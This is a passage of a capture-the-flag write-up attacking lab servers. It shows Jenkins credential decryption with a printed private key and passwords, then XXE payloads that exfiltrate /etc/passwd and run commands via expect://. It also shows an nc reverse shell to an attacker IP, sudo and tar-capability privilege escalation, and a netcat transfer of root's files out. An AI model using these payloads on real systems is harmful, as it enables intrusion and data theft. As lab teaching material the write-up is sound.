println(hudson.util.Secret.fromString("{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}").getPlainText())

We save the following output into the bob_jenk_key file and fix up the permissions (chmod 400 bob_jenk_key).

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,5A5DF8DCCDBC4054B5C566EA6E455590

ZbDmdHoT3Zfp9Gl1MMzp7Fc3Y4hFXySitQi61Pu+Xa4IJREaldKPwPhHa6IpF8Bx
5yNlRsb7/U/7+ldClej8TeshWgjP6z5+hko99WAJFR/mNbhief9LQhUa72kelMJ4
hEDbwB53s+Rscz8YSmEUC09jSm5svkCmet57r2K7USis9k2BLhexAEXC7L26L4Nq
lHi1w1j+jc0aizvj89XTM+A2NKpk7H6qcnwM4LclluuGTz5iVvEZOu9fbsngFYoY
rfYSq+CY6zaMboqvHbDqZ7FLmUSYW9sMQdX2thqbNVp+qZ/nBJQNN0YUEVe4HdL9
6rA9lyWcce2+Ts1CLxoTsnq5BCRBoxTeQOr/HNEFqxpOKiK9NG/7a5uBU3mJsRLu
JJ+8/XnbXtoOo3Pi7C5IU0y/RIf81jOHqFwtagO2D7rtTsLmLctuOUayK23sWJSr
nAwjhlmYJs1/6al39q5P3B7J1HQ4i/P5e0zzNBlHVJxOlZ2qkFbaIA+U6fGE/U2h
bCAtmLD8Uq95K5zVM/9YmABkKVkcvvBUVpmNJs9hM09DM8jJrMpd7ww6NyPeGtko
Hq0VqnEfeY+ddgrU2m5wunqMMQItmoLf792BTnPr29oHnjwYB/a9ALZPqBu57TcF
ahtFaTDxuXoNCV+9NjEXFpY0zLkYCv6vAKA334nFYh6u6+zvDwiBmxZUvUyAOCo2
p901/0MekH7USIP56poXKuNc4c+Toq5lZZDK9Vm1suDlBX5C+BNPP3sv1oa5hqO8
UVhH5coQT3P7v/alY9jCjnrX9Tw6fyyuLb4X9NDVcY2v/lmhI5sgzRY7qofBUrY7
TYpvWXJmidP4g8MggBQfD5fuTAjhnLpsvEWIsudtLBkq4wqkXfWcFB0Cdq3smIH7
I8aQ7RaKDxPECujnMbpXohKDC4e6JI0h8497DgfNsY96RWNqa1kTiwgKVkxlSs7x
vATFqAB/TiUFQ35cHXkD0gBgtTJcV1aHjkflvQek3b97RUPiI5KxgvXEzwWWu4p0
ZUI5w6jX5HtTwuNk2Y+UyBNNyphRdyCHwXEc5o4zw6ACe0b3l1BTWcVZnjhMFOxu
klY5Y0oxexKgsA4yWjis7pYX9pvl/ZLIFPQuJfFGiHTE7u1yqVfeMjzGQbrkZUTI
w+rKA7cUqHhm3IADkpDTmKcDjDWpwQ0DsKpHZoaxKiMOCuF5aWrQhE+51tUXEU47
jAHeyIbQ8vSp3UuvvZWGpQmbjwZE1ttbp58eGGTwiZjNArpt5Q3DLBkPNYf5vkLZ
oX/plkrUzNMfKPIFQQPKZhfAwMFB5arWFZ6Jo1TVu3L5iycd4ZS3py2c/54D4TNR
R5pf6dJVBhbt0NYzc+RPJPZMvilXl01zK4U2sxjkfepXvYSbRO45cewcKcA9f5jg
kQGCVTAj8wFlAXOFyIkWZDDwLltFUIIl0PojLEDyC7WwylE6iO8t+mOkMMK8mTYI
QnckH/luUmmUcRttXzm2KgG+IT+g66ylpvmST4dOWPhz3tbZuiOYWUAXG5yCsp00
+xXdg5/0v5QLzGy05pmXoWgwQ744OhraNByr3R5i6x7Y8+SPUmsx2aaUSAq8/ry2
-----END RSA PRIVATE KEY-----

Using the same technique we can also figure out the admin user’s password. As previously noted SSH is running on port 2222 of this server, so let’s log into the server as bob using his SSH private key in order to grab the second foothold flag. Note that the passphrase for decrypting the SSH private key is JINXYBOB.

$ ssh -i bob_jenk_key -p 2222 bob@proxy-east.cloudiot.us

Jenkins Administrator Login

Sp34kFr13nD&3nT3r

(You'll need your SSH key to login)

Enter passphrase for key 'bob_jenk_key':
bob@960890e6a020:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@960890e6a020:~$ ls
foothold2.txt
bob@960890e6a020:~$ cat foothold2.txt
Kl4aTu…B4raD@...N3ckTie?

Jenkins - Root

Let’Ã¥s check if the bob user can use the sudo command to execute commands as another user.

$ sudo -l
Matching Defaults entries for bob on 960890e6a020:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bob may run the following commands on 960890e6a020:
    (root) NOPASSWD: /usr/bin/less

The less allows viewing a file one section at a time. Since the bob user can run less as the root user we can abuse this functionality to read arbitrary files on the system including the flag or the /etc/shadow file.

$ sudo less /root/flag.txt
W3llH3lL0Mr.f@ncYp@ntS

Leet

Leet - Foothold

Not entirely sure what the proper way of finding this box was, but I noticed DNS requests referring to the 1337.cloudiot.us domain in the forensic challenges. Alternatively, DNS enumeration could have been used (maybe OSINT or domain brute forcing).

Going to http://1337.cloudiot.us/, we notice a flag (h1d3&s33k) on a simple HTML page and nothing else. Based on the provided flag we probably will need to find the vulnerable entry point. Let’s conduct a TCP port scan of the target server to see if there are any other interesting services running.

$ nmap -sV -sC -p- 1337.cloudiot.us
...
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 24:cd:be:45:b0:0f:9b:9a:cf:8f:e8:c1:59:07:84:d0 (RSA)
|   256 34:e0:2b:f3:70:5f:31:ee:7a:61:f6:9d:b6:d4:1d:a3 (ECDSA)
|_  256 7f:3e:78:33:00:68:3d:e6:32:3c:c8:7d:68:ec:b7:43 (ED25519)
80/tcp    open     http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
11211/tcp filtered memcache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1634.83 seconds

No luck, only port 80 is interesting. Let’s conduct a UDP port scan of the target server.

# nmap -sU 1337.cloudiot.us
...
All 1000 scanned ports on 1337.cloudiot.us (206.189.71.7) are closed

Nmap done: 1 IP address (1 host up) scanned in 995.04 seconds

Again, nothing interesting. Let’s perform some file and directory dictionary attacks using dirb to see if we can find some hidden files or directories on the target web server.

$ dirb http://1337.cloudiot.us/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

URL_BASE: http://1337.cloudiot.us/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://1337.cloudiot.us/ ----
==> DIRECTORY: http://1337.cloudiot.us/api/                                                                                   
==> DIRECTORY: http://1337.cloudiot.us/files/                                                                                 
+ http://1337.cloudiot.us/index.html (CODE:200|SIZE:175)                                                                      
+ http://1337.cloudiot.us/info.php (CODE:200|SIZE:85234)                                                                      
+ http://1337.cloudiot.us/server-status (CODE:403|SIZE:304)                                                                   
==> DIRECTORY: http://1337.cloudiot.us/www/                                                                                   
                                                                                                                              
---- Entering directory: http://1337.cloudiot.us/api/ ----
==> DIRECTORY: http://1337.cloudiot.us/api/v1/                                                                                
                                                                                                                              
---- Entering directory: http://1337.cloudiot.us/files/ ----
                                                                                                                              
---- Entering directory: http://1337.cloudiot.us/www/ ----
==> DIRECTORY: http://1337.cloudiot.us/www/api/                                                                               
==> DIRECTORY: http://1337.cloudiot.us/www/files/                                                                             
+ http://1337.cloudiot.us/www/index.html (CODE:200|SIZE:155)                                                                  
+ http://1337.cloudiot.us/www/info.php (CODE:200|SIZE:85270)                                                                  
                                                                                                                              
---- Entering directory: http://1337.cloudiot.us/api/v1/ ----
+ http://1337.cloudiot.us/api/v1/index.php (CODE:200|SIZE:0)                                                                  
                                                                                                                              
---- Entering directory: http://1337.cloudiot.us/www/api/ ----
==> DIRECTORY: http://1337.cloudiot.us/www/api/v1/                                                                            
                                                                                                                              
---- Entering directory: http://1337.cloudiot.us/www/files/ ----
                                                                                                                              
---- Entering directory: http://1337.cloudiot.us/www/api/v1/ ----
+ http://1337.cloudiot.us/www/api/v1/index.php (CODE:200|SIZE:327)                                                            
                                                                                                                              
-----------------
END_TIME: Thu Jan 10 14:54:22 2019
DOWNLOADED: 36896 - FOUND: 7

Ok great, some progress. We found a URL that looks like a web service endpoint (http://1337.cloudiot.us/api/v1/). Let’s visit the web service endpoint to see if it leaks any information.

GET /www/api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/5.6.39
Vary: Accept-Encoding
Content-Length: 327
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>:  Uncaught exception 'Exception' with message 'String could not be parsed as XML' in /var/www/html/www/api/v1/index.php:3
Stack trace:
#0 /var/www/html/www/api/v1/index.php(3): SimpleXMLElement-&gt;__construct('')
#1 {main}
  thrown in <b>/var/www/html/www/api/v1/index.php</b> on line <b>3</b><br />

Not super helpful, but let’s try to send a HTTP request using the POST method to the same endpoint.

POST /www/api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 4

test

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/5.6.39
Vary: Accept-Encoding
Content-Length: 781
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  SimpleXMLElement::__construct(): Entity: line 1: parser error : Start tag expected, '&lt;' not found in <b>/var/www/html/www/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  SimpleXMLElement::__construct(): test in <b>/var/www/html/www/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  SimpleXMLElement::__construct(): ^ in <b>/var/www/html/www/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Fatal error</b>:  Uncaught exception 'Exception' with message 'String could not be parsed as XML' in /var/www/html/www/api/v1/index.php:3
Stack trace:
#0 /var/www/html/www/api/v1/index.php(3): SimpleXMLElement-&gt;__construct('test')
#1 {main}
  thrown in <b>/var/www/html/www/api/v1/index.php</b> on line <b>3</b><br />

Ok so it appears that the body of the HTTP request is parsed as XML by this web service using the SimpleXMLElement class. Let’s send some well-formed XML to the web service to see how it reacts.

POST /www/api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 13

<test></test>

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/5.6.39
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

In response to well-formed XML, the web service returns a 200 OK status. At this point it is worth testing if the endpoint is vulnerable to XML External Entity attacks. First let’s try to perform an in-band attack that grabs the /etc/passwd file.

POST /api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 113

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">]>
<r>&sp;</r>

HTTP/1.1 200 OK
Date: Fri, 11 Jan 2019 18:05:54 GMT
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/5.6.39
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

No luck. Next let’s try an out-of-band attack that will make a HTTP request to a server we control. First setup a web server on your attacking server.

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Then send the XXE payload to the target server (change the IP address and port to point to your attacking server).

POST /api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 130

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://52.32.7.126:8000/xxe_pls.txt">]>
<r>&sp;</r>

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/5.6.39
Vary: Accept-Encoding
Content-Length: 428
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  simplexml_load_string(http://52.32.7.126:8000/xxe_pls.txt): failed to open stream: HTTP request failed! HTTP/1.0 404 File not found
 in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): I/O warning : failed to load external entity &quot;http://52.32.7.126:8000/xxe_pls.txt&quot; in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />

Success, based on our web server logs it appears that we forced the target server to make a HTTP request to our server.

206.189.71.7 - - code 404, message File not found
206.189.71.7 - - "GET /xxe_pls.txt HTTP/1.0" 404 -

Now that we know that the service is vulnerable to XXE attacks, let’s craft an out-of-band payload that grabs the /etc/passwd file. Etienne Stalmans' GitHub has multiple example payloads that work well in different situations.

First on your server create the following file named ext.dtd in your web root (again change the IP address and port to point to your attacking server).

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://52.32.7.126:8000/?%data;'>">

Next, send the XXE payload to the target server (again change the IP address and port to point to your attacking server).

POST /api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 171

<?xml version="1.0" ?>
<!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://52.32.7.126:8000/ext.dtd">
    %sp;
    %param1;
]>
<test>&exfil;</test>

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/5.6.39
Vary: Accept-Encoding
Content-Length: 2180
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://52.32.7.126:8000/?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronizati in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():  %param1;  in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():          ^ in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): Entity: line 26:  in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): '&gt; in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():  ^ in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): Entity: line 8: parser error : Entity 'exfil' failed to parse in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): &lt;test&gt;&amp;exfil;&lt;/test&gt; in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():              ^ in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />

Not what I was expecting, since I used an out-of-band XXE technique but ended up triggering an exception that leaked the /etc/passwd file contents in-band 🤷. Having the ability to read almost arbitrary files from the server is great, but we need to figure out how to get remote code execution or at least leak a file that leads to remote code execution. When you identify a local file inclusion vulnerability there are a number of tricks that you can use to gain remote code execution. Arr0way provides a number of tricks here and some of these are relevant for exploiting XXE vulnerabilities as well.

In this situation it turns out that the expect PHP wrapper is supported by the target server, which allows us to execute arbitrary OS commands. Abusing this PHP wrapper is simple, first on your server create the following file named ext.dtd in your web root (change the IP address and port to point to your attacking server).

<!ENTITY % data SYSTEM "expect://id">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://52.32.7.126:8000/?%data;'>">

Setup a web server on your server.

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Finally, send the XXE payload to the target server (change the IP address and port to point to your attacking server).

POST /api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 171

<?xml version="1.0" ?>
<!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://52.32.7.126:8000/ext.dtd">
    %sp;
    %param1;
]>
<test>&exfil;</test>

HTTP/1.1 200 OK
Date: Fri, 11 Jan 2019 19:25:24 GMT
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/5.6.39
Vary: Accept-Encoding
Content-Length: 1302
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://52.32.7.126:8000/?uid=33(www-data) gid=33(www-data) groups=33(www-data) in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():  %param1;  in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():          ^ in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): Entity: line 2:  in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): '&gt; in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():  ^ in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): Entity: line 8: parser error : Entity 'exfil' failed to parse in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string(): &lt;test&gt;&amp;exfil;&lt;/test&gt; in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  simplexml_load_string():              ^ in <b>/var/www/html/api/v1/index.php</b> on line <b>3</b><br />

Notice that the id command appears to have executed since we can see the output (uid=33(www-data) gid=33(www-data) groups=33(www-data)). Turns out that using the out-of-band technique to trigger an in-band exception technique is unecessary to setup a reverse shell. From your attacking machine, execute the following command to catch the shell.

# nc -lvp 80

Next, send the XXE payload to the target server (adjust the IP address to point to your attacking server). Note that in the following payload we are executing the nc command to setup a reverse shell and instead of using space characters we use the Internal Field Separator shell variable multiple times.

POST /api/v1/ HTTP/1.1
Host: 1337.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 150

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "expect://nc$IFS-e$IFS'/bin/sh'$IFS'52.32.7.126'$IFS'80'">]>
<r>&sp;</r>

Now we have a shell and can acquire some more flags.

listening on [any] 80 ...
206.189.71.7: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [206.189.71.7] 43868
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat /var/www/html/foothold.php
<?php

#n0b0dyEXPECTst3hSp4n1shInQu1z1ti0n

?>

<html>
<body>
<h1>If you found this from dirbusting...c'mon!  Did you think it'd be that easy?  Joke's on you, the flag is hidden in the PHP source!</h1>
</body>
</html>

Leet - Root

The path to root wasn’t super obvious on this box, but its always worth running LinEnum and manually reviewing all the output. LinEnum supports a few command-line arguments including the “thorough (slow) tests” options, which I would always recommend enabling when running because it doesn’t slow down the script that much. The most interesting part of the tool output was that the /bin/tar executable was flagged as having a special Linux capability.

$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o le.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 45578  100 45578    0     0   133k      0 --:--:-- --:--:-- --:--:--  133k
$ chmod +x le.sh
$ ./le.sh -t
...
[+] Files with POSIX capabilities set:
/bin/tar = cap_dac_override+ep
...

We can use the getcap command directly to acquire the same information.

$ getcap -r / 2>/dev/null
/bin/tar = cap_dac_override+ep

CAP_DAC_OVERRIDE allows the executable to “bypass file read, write, and execute permission checks”, which means that we can use the tar command to compress or decompress arbitrary files on the system regardless of the file permissions. Let’s compress the /root directory.

$ /bin/tar -czvf loot.tar.gz /root
/bin/tar: Removing leading `/' from member names
/root/
/root/.bashrc
/root/.profile
/root/flag.txt
/root/.wget-hsts

From your attacking machine, setup a netcat listener to wait for a file transfer.

$ nc -l -p 4444 > loot.tar.gz

From the target machine, use netcat to send the compressed file (adjust the IP address to your server).

$ nc -w 3 52.32.7.126 4444 < loot.tar.gz

From your machine, decompress the file and read the flag. Success!

$ tar -xzvf loot.tar.gz
root/
root/.bashrc
root/.profile
root/flag.txt
root/.wget-hsts
$ cat root/flag.txt
4ndNaow4sumth1ngC0mpl3t3lydiffeRen7

Redmine

Redmine - Foothold

The main site at http://www.cloudiot.us contains a link to http://proxy-west.cloudiot.us/, which states that a FTP server is running on this server, so let’s perform a version scan against the server using nmap.

$ nmap -sV -sC proxy-west.cloudiot.us
...
3000/tcp open  http    WEBrick httpd 1.3.1 (Ruby 2.2.4 (2015-12-16))
| http-robots.txt: 19 disallowed entries (15 shown)
| /projects/change-all-the-passwords-to-the-season-and-calendar-year/repository
| /projects/change-all-the-passwords-to-the-season-and-calendar-year/issues /projects/change-all-the-passwords-to-the-season-and-calendar-year/activity
| /projects/find-out-who-s-been-stealing-my-lunch-from-the-breakroom-fridge/repository /projects/find-out-who-s-been-stealing-my-lunch-from-the-breakroom-fridge/issues
